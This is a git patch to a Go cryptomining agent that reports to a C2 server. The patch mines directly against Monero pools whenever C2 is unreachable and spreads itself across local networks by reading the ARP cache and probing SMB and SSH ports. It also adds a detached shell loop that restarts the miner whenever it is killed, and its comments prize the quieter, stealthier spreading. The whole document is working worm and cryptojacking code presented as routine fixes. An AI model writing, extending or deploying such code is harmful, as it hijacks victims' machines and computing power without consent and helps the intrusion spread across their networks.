From 36fdc0194d3ffefbd8e09ebd9fdfceca45a2ecb6 Mon Sep 17 00:00:00 2001 From: drjones Date: Sat, 30 May 2026 15:23:07 -0700 Subject: [PATCH] fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread --- agent/client/client.go | 79 +++++++++ agent/deploy/arp_unix.go | 105 +++++++++++ agent/deploy/arp_windows.go | 51 ++++++ agent/deploy/autospread.go | 55 ++++-- agent/deploy/autospread_unix.go | 53 ++++-- agent/deploy/health_unix.go | 15 +- agent/miner/pool.go | 59 +++++-- agent/miner/stratum.go | 298 ++++++++++++++++++++++++++++++++ 8 files changed, 671 insertions(+), 44 deletions(-) create mode 100644 agent/deploy/arp_unix.go create mode 100644 agent/deploy/arp_windows.go create mode 100644 agent/miner/stratum.go diff --git a/agent/client/client.go b/agent/client/client.go index 9160077..9ba2bb9 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -15,6 +15,7 @@ import ( "runtime" "strings" "sync" + "sync/atomic" "time" "crypto-miner-agent/config" @@ -39,6 +40,10 @@ type AgentClient struct { agentID string sharesSubmitted int sharesAccepted int + + // connected is true while a C2 WebSocket session is active. + // The Stratum fallback manager monitors this to decide when to mine directly. + connected atomic.Bool } func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { @@ -77,6 +82,18 @@ func (c *AgentClient) Run() error { } } + // Stratum fallback manager — starts direct pool mining after 30 s of C2 absence. + fallbackDone := make(chan struct{}) + fallbackManagerDone := make(chan struct{}) + go func() { + defer close(fallbackManagerDone) + c.stratumFallbackManager(fallbackDone) + }() + defer func() { + close(fallbackDone) + <-fallbackManagerDone + }() + // Build deduped server list: primary first, then backups. // On each failure we advance to the next URL so the fleet never // goes dark when the primary host reboots. @@ -90,6 +107,8 @@ func (c *AgentClient) Run() error { for { target := serverURLs[urlIdx%len(serverURLs)] start := time.Now() + // Restore C2 share handler before connecting (in case Stratum had it). + c.pool.SetShareHandler(c.submitShare) if err := c.connectLoop(target); err != nil { log.Printf("[agent] disconnected from %s: %v", target, err) } @@ -155,6 +174,8 @@ func (c *AgentClient) connectLoop(serverURL string) error { if err := c.authenticate(); err != nil { return err } + c.connected.Store(true) + defer c.connected.Store(false) statsStop := make(chan struct{}) go c.statsLoop(statsStop) @@ -617,6 +638,64 @@ func (c *AgentClient) write(msg Message) error { return c.conn.WriteJSON(msg) } +// stratumFallbackManager monitors C2 connectivity and spins up a direct Stratum +// connection after 30 seconds of being disconnected from the C2 server. +// When C2 reconnects the Stratum session is stopped and the share handler is +// restored to the C2 WebSocket path. +func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) { + if c.cfg.PoolHost == "" { + return // no pool configured + } + + type fallback struct { + stop chan struct{} + wait chan struct{} + } + var fb *fallback + + var disconnectedSince time.Time + ticker := time.NewTicker(5 * time.Second) + defer ticker.Stop() + + stopFallback := func() { + if fb != nil { + close(fb.stop) + <-fb.wait + fb = nil + c.pool.SetShareHandler(c.submitShare) + log.Printf("[stratum] fallback stopped — C2 connection restored") + } + } + + for { + select { + case <-done: + stopFallback() + return + case <-ticker.C: + if c.connected.Load() { + disconnectedSince = time.Time{} + stopFallback() + } else { + if disconnectedSince.IsZero() { + disconnectedSince = time.Now() + } + if fb == nil && time.Since(disconnectedSince) > 30*time.Second { + stop := make(chan struct{}) + wait := make(chan struct{}) + sc := miner.NewStratumClient(c.pool, c.cfg) + go func() { + defer close(wait) + sc.RunFallback(stop) + }() + fb = &fallback{stop: stop, wait: wait} + log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) + } + } + } + } +} + func buildWSURL(serverURL string) (string, error) { u, err := url.Parse(strings.TrimSpace(serverURL)) if err != nil { diff --git a/agent/deploy/arp_unix.go b/agent/deploy/arp_unix.go new file mode 100644 index 0000000..92dab24 --- /dev/null +++ b/agent/deploy/arp_unix.go @@ -0,0 +1,105 @@ +//go:build !windows + +package deploy + +import ( + "bufio" + "net" + "os" + "os/exec" + "strings" +) + +// arpHosts returns IPv4 hosts in the ARP cache on the local subnets. +// On Linux it reads /proc/net/arp; on macOS/BSD it falls back to running +// `arp -n`. Returns nil if nothing useful is found (caller does full scan). +func arpHosts() []string { + hosts := arpFromProc() + if len(hosts) == 0 { + hosts = arpFromCmd() + } + return hosts +} + +// arpFromProc parses Linux's /proc/net/arp. +// Format: IP address HW type Flags HW address Mask Device +func arpFromProc() []string { + f, err := os.Open("/proc/net/arp") + if err != nil { + return nil + } + defer f.Close() + + local := getLocalIPs() + subnets := make(map[string]bool) + for _, ip := range local { + subnets[getSubnet(ip)] = true + } + + var hosts []string + seen := make(map[string]bool) + scanner := bufio.NewScanner(f) + for scanner.Scan() { + fields := strings.Fields(scanner.Text()) + if len(fields) < 4 { + continue // skip header + } + ip := net.ParseIP(fields[0]) + if ip == nil || ip.To4() == nil { + continue + } + // Flags = 0x0 means incomplete — skip + if fields[2] == "0x0" { + continue + } + ipStr := ip.To4().String() + sub := getSubnet(ipStr) + if !subnets[sub] || seen[ipStr] { + continue + } + seen[ipStr] = true + hosts = append(hosts, ipStr) + } + _ = scanner.Err() + return hosts +} + +// arpFromCmd runs `arp -n` for macOS/BSD where /proc/net/arp doesn't exist. +func arpFromCmd() []string { + raw, err := exec.Command("arp", "-n").Output() + if err != nil { + return nil + } + out := string(raw) + + local := getLocalIPs() + subnets := make(map[string]bool) + for _, ip := range local { + subnets[getSubnet(ip)] = true + } + + var hosts []string + seen := make(map[string]bool) + for _, line := range strings.Split(out, "\n") { + fields := strings.Fields(line) + if len(fields) < 2 { + continue + } + ip := net.ParseIP(fields[0]) + if ip == nil || ip.To4() == nil || ip.IsLoopback() { + continue + } + // arp -n marks incomplete entries as "(incomplete)" + if strings.Contains(line, "incomplete") { + continue + } + ipStr := ip.To4().String() + sub := getSubnet(ipStr) + if !subnets[sub] || seen[ipStr] { + continue + } + seen[ipStr] = true + hosts = append(hosts, ipStr) + } + return hosts +} diff --git a/agent/deploy/arp_windows.go b/agent/deploy/arp_windows.go new file mode 100644 index 0000000..b0a40b3 --- /dev/null +++ b/agent/deploy/arp_windows.go @@ -0,0 +1,51 @@ +//go:build windows + +package deploy + +import ( + "net" + "os/exec" + "strings" +) + +// arpHosts returns the list of IPv4 hosts currently in the OS ARP cache +// that share a subnet with one of our local interfaces. These are machines +// that have recently communicated on the LAN — a far smaller and more +// targeted set than a blind /24 sweep. +// +// Falls back to nil (caller will do a full scan) on any error. +func arpHosts() []string { + out, err := exec.Command("arp", "-a").Output() + if err != nil { + return nil + } + local := getLocalIPs() + subnets := make(map[string]bool) + for _, ip := range local { + subnets[getSubnet(ip)] = true + } + + var hosts []string + seen := make(map[string]bool) + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + // arp -a lines look like: + // 192.168.1.1 00-11-22-33-44-55 dynamic + fields := strings.Fields(line) + if len(fields) < 2 { + continue + } + ip := net.ParseIP(fields[0]) + if ip == nil || ip.To4() == nil || ip.IsLoopback() || ip.IsMulticast() { + continue + } + ipStr := ip.To4().String() + sub := getSubnet(ipStr) + if !subnets[sub] || seen[ipStr] { + continue + } + seen[ipStr] = true + hosts = append(hosts, ipStr) + } + return hosts +} diff --git a/agent/deploy/autospread.go b/agent/deploy/autospread.go index b76f013..6cd3d27 100644 --- a/agent/deploy/autospread.go +++ b/agent/deploy/autospread.go @@ -51,24 +51,53 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string { var spreadSem = make(chan struct{}, 16) func spreadToLocalSubnet(cfg config.RuntimeConfig) { - ips := getLocalIPs() - for _, ip := range ips { - subnet := getSubnet(ip) - if subnet == "" { - continue + // ARP-first: only probe hosts the OS has recently spoken to. + // Typically 5–20 hosts vs 253 cold-probes — far quieter and faster. + targets := arpHosts() + + // Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for + // machines with SMB open so we still reach previously-unseen machines. + if len(targets) < 3 { + ips := getLocalIPs() + seen := make(map[string]bool) + for _, t := range targets { + seen[t] = true } - for i := 1; i < 255; i++ { - target := fmt.Sprintf("%s.%d", subnet, i) - if target == ip { + for _, ip := range ips { + subnet := getSubnet(ip) + if subnet == "" { continue } - spreadSem <- struct{}{} // acquire slot - go func(t string) { - defer func() { <-spreadSem }() // release slot when done - attemptSpread(cfg, t) - }(target) + for i := 1; i < 255; i++ { + candidate := fmt.Sprintf("%s.%d", subnet, i) + if candidate == ip || seen[candidate] { + continue + } + // Quick port check — only bother with machines that have :445 open + conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond) + if err == nil { + conn.Close() + seen[candidate] = true + targets = append(targets, candidate) + } + } } } + + localSet := make(map[string]bool) + for _, ip := range getLocalIPs() { + localSet[ip] = true + } + for _, target := range targets { + if localSet[target] { + continue + } + spreadSem <- struct{}{} + go func(t string) { + defer func() { <-spreadSem }() + attemptSpread(cfg, t) + }(target) + } } func getLocalIPs() []string { diff --git a/agent/deploy/autospread_unix.go b/agent/deploy/autospread_unix.go index 8e33097..41a11c6 100644 --- a/agent/deploy/autospread_unix.go +++ b/agent/deploy/autospread_unix.go @@ -46,24 +46,51 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) { if err != nil { return } - ips := getLocalIPs() - for _, ip := range ips { - subnet := getSubnet(ip) - if subnet == "" { - continue + + // ARP-first: use the OS ARP cache to find live hosts without a /24 sweep. + targets := arpHosts() + + // Fallback: if ARP cache has < 3 entries, probe for SSH-open hosts. + if len(targets) < 3 { + ips := getLocalIPs() + seen := make(map[string]bool) + for _, t := range targets { + seen[t] = true } - for i := 1; i < 255; i++ { - target := fmt.Sprintf("%s.%d", subnet, i) - if target == ip { + for _, ip := range ips { + subnet := getSubnet(ip) + if subnet == "" { continue } - spreadSem <- struct{}{} // acquire slot - go func(t string) { - defer func() { <-spreadSem }() - attemptSSHSpread(cfg, t, exePath) - }(target) + for i := 1; i < 255; i++ { + candidate := fmt.Sprintf("%s.%d", subnet, i) + if candidate == ip || seen[candidate] { + continue + } + conn, connErr := net.DialTimeout("tcp", candidate+":22", 400*time.Millisecond) + if connErr == nil { + conn.Close() + seen[candidate] = true + targets = append(targets, candidate) + } + } } } + + localSet := make(map[string]bool) + for _, ip := range getLocalIPs() { + localSet[ip] = true + } + for _, target := range targets { + if localSet[target] { + continue + } + spreadSem <- struct{}{} + go func(t string) { + defer func() { <-spreadSem }() + attemptSSHSpread(cfg, t, exePath) + }(target) + } } func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) { diff --git a/agent/deploy/health_unix.go b/agent/deploy/health_unix.go index 1a78679..aa6c7a8 100644 --- a/agent/deploy/health_unix.go +++ b/agent/deploy/health_unix.go @@ -11,20 +11,27 @@ import ( "crypto-miner-agent/config" ) + // launchProcessGuard spawns a detached shell loop that watches for the installed // miner and restarts it on crash (Unix — Linux + macOS). +// +// Uses `pgrep -f` with the full binary path rather than `-x` (exact process-name +// match), which is unreliable on Linux where /proc truncates names to 15 chars. func launchProcessGuard(cfg config.RuntimeConfig) { installDir, err := cfg.InstallDirectory() if err != nil { return } bin := filepath.Join(installDir, BinaryName(cfg)) - procName := strings.TrimSuffix(BinaryName(cfg), "") - // sh one-liner: loop forever, sleep 60 s, pgrep by binary name, restart if missing. + // Escape single-quotes in path (edge case for unusual install dirs). + safebin := strings.ReplaceAll(bin, "'", "'\\''") + + // Loop every 60 s. If pgrep can't find any process whose command line + // contains the full binary path, and the binary still exists, restart it. script := fmt.Sprintf( - `while true; do sleep 60; pgrep -x '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`, - procName, bin, bin, + `while true; do sleep 60; pgrep -f '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`, + safebin, safebin, safebin, ) cmd := exec.Command("sh", "-c", script) _ = cmd.Start() diff --git a/agent/miner/pool.go b/agent/miner/pool.go index 133690e..822b4ea 100644 --- a/agent/miner/pool.go +++ b/agent/miner/pool.go @@ -20,18 +20,24 @@ type Pool struct { cfg config.RuntimeConfig reporter *stats.Reporter engines []*Engine - handler ShareHandler schedule *ScheduleGuard mu sync.RWMutex currentJob *job.Job stopCh chan struct{} wg sync.WaitGroup - paused atomic.Bool + paused atomic.Bool remotePause atomic.Bool - hashesTotal atomic.Uint64 - sharesFound atomic.Uint64 + // Share handler — swappable at runtime (C2 vs Stratum fallback). + handlerMu sync.RWMutex + handler ShareHandler + + // Hashrate tracking — reset each stats tick, divided by elapsed seconds. + hashesTotal atomic.Uint64 + sharesFound atomic.Uint64 + resetMu sync.Mutex + hashesLastReset time.Time } func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool { @@ -43,13 +49,14 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha engines[i] = NewEngine() } return &Pool{ - threads: threads, - cfg: cfg, - reporter: reporter, - engines: engines, - handler: handler, - schedule: NewScheduleGuard(cfg, reporter), - stopCh: make(chan struct{}), + threads: threads, + cfg: cfg, + reporter: reporter, + engines: engines, + handler: handler, + schedule: NewScheduleGuard(cfg, reporter), + stopCh: make(chan struct{}), + hashesLastReset: time.Now(), } } @@ -84,12 +91,33 @@ func (p *Pool) Stop() { p.wg.Wait() } +// HashesPerSecond returns the average hash rate since the last ResetHashCounter call. func (p *Pool) HashesPerSecond() float64 { - return float64(p.hashesTotal.Load()) + p.resetMu.Lock() + elapsed := time.Since(p.hashesLastReset).Seconds() + count := float64(p.hashesTotal.Load()) + p.resetMu.Unlock() + if elapsed <= 0 { + return 0 + } + return count / elapsed } +// ResetHashCounter zeroes the counter and records the reset time so that +// the next HashesPerSecond() call measures over the correct interval. func (p *Pool) ResetHashCounter() { + p.resetMu.Lock() p.hashesTotal.Store(0) + p.hashesLastReset = time.Now() + p.resetMu.Unlock() +} + +// SetShareHandler replaces the share submission callback at runtime. +// Used to switch between C2-mediated submission and direct Stratum submission. +func (p *Pool) SetShareHandler(fn ShareHandler) { + p.handlerMu.Lock() + p.handler = fn + p.handlerMu.Unlock() } func (p *Pool) PauseRemote() { @@ -198,8 +226,11 @@ func (p *Pool) worker(id int, engine *Engine) { } if target != "" && hashMeetsTarget(hashHex, target) { p.sharesFound.Add(1) - if p.handler != nil { - p.handler(job.ID, uint32ToHex(nonce-1), hashHex) + p.handlerMu.RLock() + h := p.handler + p.handlerMu.RUnlock() + if h != nil { + h(job.ID, uint32ToHex(nonce-1), hashHex) } } } diff --git a/agent/miner/stratum.go b/agent/miner/stratum.go new file mode 100644 index 0000000..d12311a --- /dev/null +++ b/agent/miner/stratum.go @@ -0,0 +1,298 @@ +package miner + +// StratumClient provides a minimal Monero Stratum client that the agent falls +// back to when the C2 server is unreachable. It feeds jobs directly into the +// existing miner.Pool so hashing never stops, and submits found shares back to +// the pool over Stratum so they are not lost. +// +// Protocol: JSON-RPC over TCP (or TLS), newline-delimited messages. +// Reference: https://p2pool.io/docs/stratum.html + +import ( + "bufio" + "crypto/tls" + "encoding/json" + "fmt" + "log" + "net" + "time" + + "crypto-miner-agent/config" + "crypto-miner-agent/job" +) + +// ─── Wire types ────────────────────────────────────────────────────────────── + +type stratumMsg struct { + ID interface{} `json:"id"` + JSONRPC string `json:"jsonrpc,omitempty"` + Method string `json:"method,omitempty"` + Params json.RawMessage `json:"params,omitempty"` + Result json.RawMessage `json:"result,omitempty"` + Error interface{} `json:"error,omitempty"` +} + +type loginResult struct { + ID string `json:"id"` + Job *stratumJob `json:"job"` + Status string `json:"status"` +} + +type stratumJob struct { + Blob string `json:"blob"` + JobID string `json:"job_id"` + Target string `json:"target"` + SeedHash string `json:"seed_hash"` + Height int64 `json:"height"` +} + +type submitParams struct { + ID string `json:"id"` + JobID string `json:"job_id"` + Nonce string `json:"nonce"` + Hash string `json:"result"` // field name "result" in Stratum protocol +} + +// ─── Pool endpoint list ─────────────────────────────────────────────────────── + +type stratumEndpoint struct { + Host string + Port int + TLS bool + Pass string +} + +func buildStratumEndpoints(cfg config.RuntimeConfig) []stratumEndpoint { + eps := []stratumEndpoint{{ + Host: cfg.PoolHost, + Port: cfg.PoolPort, + TLS: cfg.PoolTLS, + Pass: cfg.PoolPass, + }} + for _, bp := range cfg.BackupPools { + if bp.Host != "" && bp.Port > 0 { + eps = append(eps, stratumEndpoint{ + Host: bp.Host, + Port: bp.Port, + TLS: bp.TLS, + Pass: bp.Pass, + }) + } + } + return eps +} + +// ─── StratumClient ─────────────────────────────────────────────────────────── + +// StratumClient mines via a direct Stratum connection. It is started when the +// C2 server is unreachable and stopped as soon as C2 comes back. +type StratumClient struct { + pool *Pool + cfg config.RuntimeConfig +} + +func NewStratumClient(pool *Pool, cfg config.RuntimeConfig) *StratumClient { + return &StratumClient{pool: pool, cfg: cfg} +} + +// RunFallback cycles through all configured pools, trying each in turn, until +// stopCh is closed. Each pool connection runs its own read/write loops. +func (s *StratumClient) RunFallback(stopCh <-chan struct{}) { + if s.cfg.PoolHost == "" { + log.Printf("[stratum] no pool configured — fallback unavailable") + return + } + endpoints := buildStratumEndpoints(s.cfg) + idx := 0 + for { + select { + case <-stopCh: + return + default: + } + ep := endpoints[idx%len(endpoints)] + log.Printf("[stratum] connecting to %s:%d", ep.Host, ep.Port) + if err := s.runPool(ep, stopCh); err != nil { + log.Printf("[stratum] pool %s:%d: %v — trying next", ep.Host, ep.Port, err) + } + idx++ + // Back off before the next retry + select { + case <-stopCh: + return + case <-time.After(15 * time.Second): + } + } +} + +// runPool manages one Stratum connection until it fails or stopCh is closed. +func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) error { + addr := net.JoinHostPort(ep.Host, fmt.Sprintf("%d", ep.Port)) + var conn net.Conn + var err error + if ep.TLS { + conn, err = tls.Dial("tcp", addr, &tls.Config{InsecureSkipVerify: true}) //nolint:gosec + } else { + conn, err = net.DialTimeout("tcp", addr, 10*time.Second) + } + if err != nil { + return err + } + defer conn.Close() + + // Set up a reader (Stratum is newline-delimited JSON). + reader := bufio.NewReader(conn) + msgID := 1 + + // ── Login ──────────────────────────────────────────────────────────────── + wallet := s.cfg.Wallet + pass := ep.Pass + if pass == "" { + pass = "x" + } + loginReq, _ := json.Marshal(stratumMsg{ + ID: msgID, + JSONRPC: "2.0", + Method: "login", + Params: mustMarshal(map[string]interface{}{ + "login": wallet, + "pass": pass, + "rigid": s.cfg.WorkerName, + "agent": "AetherForge/" + config.Version, + }), + }) + msgID++ + if _, err := fmt.Fprintf(conn, "%s\n", loginReq); err != nil { + return fmt.Errorf("login send: %w", err) + } + _ = conn.SetDeadline(time.Now().Add(30 * time.Second)) + loginLine, err := reader.ReadString('\n') + if err != nil { + return fmt.Errorf("login read: %w", err) + } + _ = conn.SetDeadline(time.Time{}) // clear deadline + + var loginResp stratumMsg + if err := json.Unmarshal([]byte(loginLine), &loginResp); err != nil { + return fmt.Errorf("login parse: %w", err) + } + if loginResp.Error != nil { + return fmt.Errorf("login error: %v", loginResp.Error) + } + var lr loginResult + if err := json.Unmarshal(loginResp.Result, &lr); err != nil { + return fmt.Errorf("login result parse: %w", err) + } + sessionID := lr.ID + log.Printf("[stratum] authenticated on %s — session %s", addr, sessionID) + + // Feed the initial job from the login response. + if lr.Job != nil { + s.setJob(lr.Job) + } + + // ── Share submission channel ────────────────────────────────────────────── + // The pool's share handler sends shares here; this goroutine drains them + // and writes submit requests to the Stratum connection. + shareCh := make(chan [3]string, 64) // [jobID, nonce, hash] + s.pool.SetShareHandler(func(jobID, nonce, hash string) { + select { + case shareCh <- [3]string{jobID, nonce, hash}: + default: + log.Printf("[stratum] share channel full — dropping share") + } + }) + + // Submit writer goroutine. + submitDone := make(chan struct{}) + go func() { + defer close(submitDone) + for { + select { + case <-stopCh: + return + case share, ok := <-shareCh: + if !ok { + return + } + params, _ := json.Marshal(submitParams{ + ID: sessionID, + JobID: share[0], + Nonce: share[1], + Hash: share[2], + }) + req, _ := json.Marshal(stratumMsg{ + ID: msgID, + JSONRPC: "2.0", + Method: "submit", + Params: params, + }) + msgID++ + if _, err := fmt.Fprintf(conn, "%s\n", req); err != nil { + log.Printf("[stratum] submit write error: %v", err) + return + } + } + } + }() + defer func() { <-submitDone }() + + // ── Job receive loop ────────────────────────────────────────────────────── + // keepalive every 60 s + keepalive := time.NewTicker(60 * time.Second) + defer keepalive.Stop() + + for { + select { + case <-stopCh: + return nil + case <-keepalive.C: + req, _ := json.Marshal(stratumMsg{ + ID: msgID, + JSONRPC: "2.0", + Method: "keepalived", + Params: mustMarshal(map[string]string{"id": sessionID}), + }) + msgID++ + _, _ = fmt.Fprintf(conn, "%s\n", req) + default: + } + + _ = conn.SetDeadline(time.Now().Add(120 * time.Second)) + line, err := reader.ReadString('\n') + if err != nil { + return fmt.Errorf("read: %w", err) + } + var msg stratumMsg + if err := json.Unmarshal([]byte(line), &msg); err != nil { + continue + } + if msg.Method == "job" { + var sj stratumJob + if err := json.Unmarshal(msg.Params, &sj); err == nil { + s.setJob(&sj) + } + } + } +} + +// setJob converts a Stratum job into the agent's internal job.Job format and +// feeds it into the miner Pool. +func (s *StratumClient) setJob(sj *stratumJob) { + if sj == nil || sj.Blob == "" { + return + } + j := &job.Job{ + ID: sj.JobID, + Blob: sj.Blob, + Target: sj.Target, + SeedHash: sj.SeedHash, + } + s.pool.SetJob(j) + log.Printf("[stratum] new job %s (height %d)", sj.JobID, sj.Height) +} + +func mustMarshal(v interface{}) json.RawMessage { + b, _ := json.Marshal(v) + return b +}